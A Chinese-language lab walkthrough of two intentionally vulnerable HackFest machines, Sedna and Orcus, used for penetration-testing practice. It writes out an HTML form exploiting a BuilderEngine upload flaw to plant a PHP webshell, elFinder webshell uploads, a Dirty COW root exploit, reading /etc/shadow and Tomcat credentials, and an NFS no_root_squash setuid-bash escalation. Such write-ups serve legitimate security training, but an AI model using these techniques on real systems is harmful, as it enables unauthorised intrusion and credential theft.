HackFest靶机实战
字数 1553 2025-08-27 12:33:37
HackFest靶机实战教学文档
1. Sedna靶机渗透测试
1.1 初始信息收集
-
端口扫描:
nmap -v -T5 -A 192.168.31.72- 发现开放80端口和8080端口(运行Tomcat)
-
目录扫描:
python3 dirsearch.py -u http://192.168.31.72 -e *- 发现robots.txt文件,其中包含
Disallow: Hackers提示 - 发现license.txt文件,包含BuilderEngine/Radian Enterprise Systems信息
- 发现robots.txt文件,其中包含
1.2 漏洞利用
-
BuilderEngine漏洞利用:
- 搜索发现BuilderEngine存在文件上传漏洞(Exploit-DB ID: 40390)
- 创建上传表单:
<html><body><form method="post" action="http://192.168.31.72/themes/dashboard/assets/plugins/jquery-file-upload/server/php/" enctype="multipart/form-data"> <input type="file" name="files[]" /> <input type="submit" value="send" /> </form></body></html>- 上传PHP webshell后访问路径:
http://192.168.31.72/files/t.php
-
获取flag1:
find -name 'flag.txt' cat /var/www/flag.txt- flag1:
bfbb7e6e6e88d9ae66848b9aeac6b289
- flag1:
1.3 权限提升
-
系统信息收集:
uname -a cat /etc/lsb-release- 系统:Ubuntu 14.04.1 LTS (Linux 3.13.0-32-generic)
-
使用脏牛(Dirty COW)提权:
- 下载提权脚本(Exploit-DB ID: 40616)
gcc cowroot.c -o cowroot -pthread ./cowroot- 成功获取root权限
-
获取flag2:
- 在root目录下找到flag
-
获取flag3:
cat etc/tomcat7/tomcat-users.xml- 找到Tomcat账户密码
-
获取flag4:
cat /etc/shadow- 找到需要解密的hash:
$6$p22wX4fD$RRAamkeGIA56pj4MpM7CbrKPhShVkZnNH2NjZ8JMUP6Y/1upG.54kSph/HSP1LFcn4.2C11cF0R7QmojBqNy5/
- 找到需要解密的hash:
2. Orcus靶机渗透测试
2.1 初始信息收集
-
端口扫描:
nmap -v -T5 -A 192.168.31.119- 发现开放2049端口(NFS服务)
-
目录扫描:
python3 dirsearch.py -u http://192.168.31.119 -e *- 发现admin页面,源码中有提示:
This is a backup taken from the backups/ - 下载备份文件:
SimplePHPQuiz-Backupz.tar.gz
- 发现admin页面,源码中有提示:
2.2 数据库渗透
-
发现数据库凭据:
- 在
db_conn.php中找到:
DEFINE ('DB_USER', 'dbuser'); DEFINE ('DB_PASSWORD', 'dbpassword'); DEFINE ('DB_HOST', 'localhost'); DEFINE ('DB_NAME', 'quizdb'); - 在
-
尝试通过MySQL写shell:
- 检查secure_file_priv设置:
SELECT @@secure_file_priv;- 尝试修改日志路径失败:
set global general_log_file='/var/www/html/log.php';
2.3 CMS漏洞利用
-
发现zenphoto CMS:
- 访问
http://192.168.31.119/zenphoto - 完成安装并设置管理员账户
- 访问
-
利用elFinder插件上传webshell:
- 上传PHP webshell后访问路径:
http://192.168.31.119/zenphoto/uploaded/t1.php - 获取交互式shell:
python -c 'import pty; pty.spawn("/bin/bash")' - 上传PHP webshell后访问路径:
-
获取flag1:
find /var/www/ -name 'flag.txt' cat /var/www/flag.txt
2.4 NFS提权
-
检查NFS共享:
showmount -e localhost -
本地挂载NFS共享:
sudo mkdir /mnt/orcus sudo mount -t nfs 192.168.0.110:/tmp /mnt/orcus -
利用no_root_squash提权:
- 在靶机复制bash:
cp /bin/bash wroot- 在本地修改权限:
chown root:root wroot chmod u+s wroot- 在靶机执行:
./wroot -p -
获取flag2:
- 成功获取root权限后查找flag
3. 关键知识点总结
-
信息收集技巧:
- 使用nmap进行详细扫描(-A参数)
- 使用dirsearch等工具进行目录爆破
- 关注robots.txt、license.txt等文件
-
漏洞利用方法:
- BuilderEngine文件上传漏洞
- zenphoto CMS安装漏洞
- elFinder插件任意文件上传
-
权限提升技术:
- 脏牛(Dirty COW)本地提权
- NFS配置不当(no_root_squash)提权
-
数据库渗透:
- 通过备份文件获取数据库凭据
- 尝试通过MySQL写shell
- 了解secure_file_priv限制
-
后渗透技巧:
- 使用Python获取交互式shell
- 使用find命令快速定位flag文件
- 查看/etc/shadow获取密码hash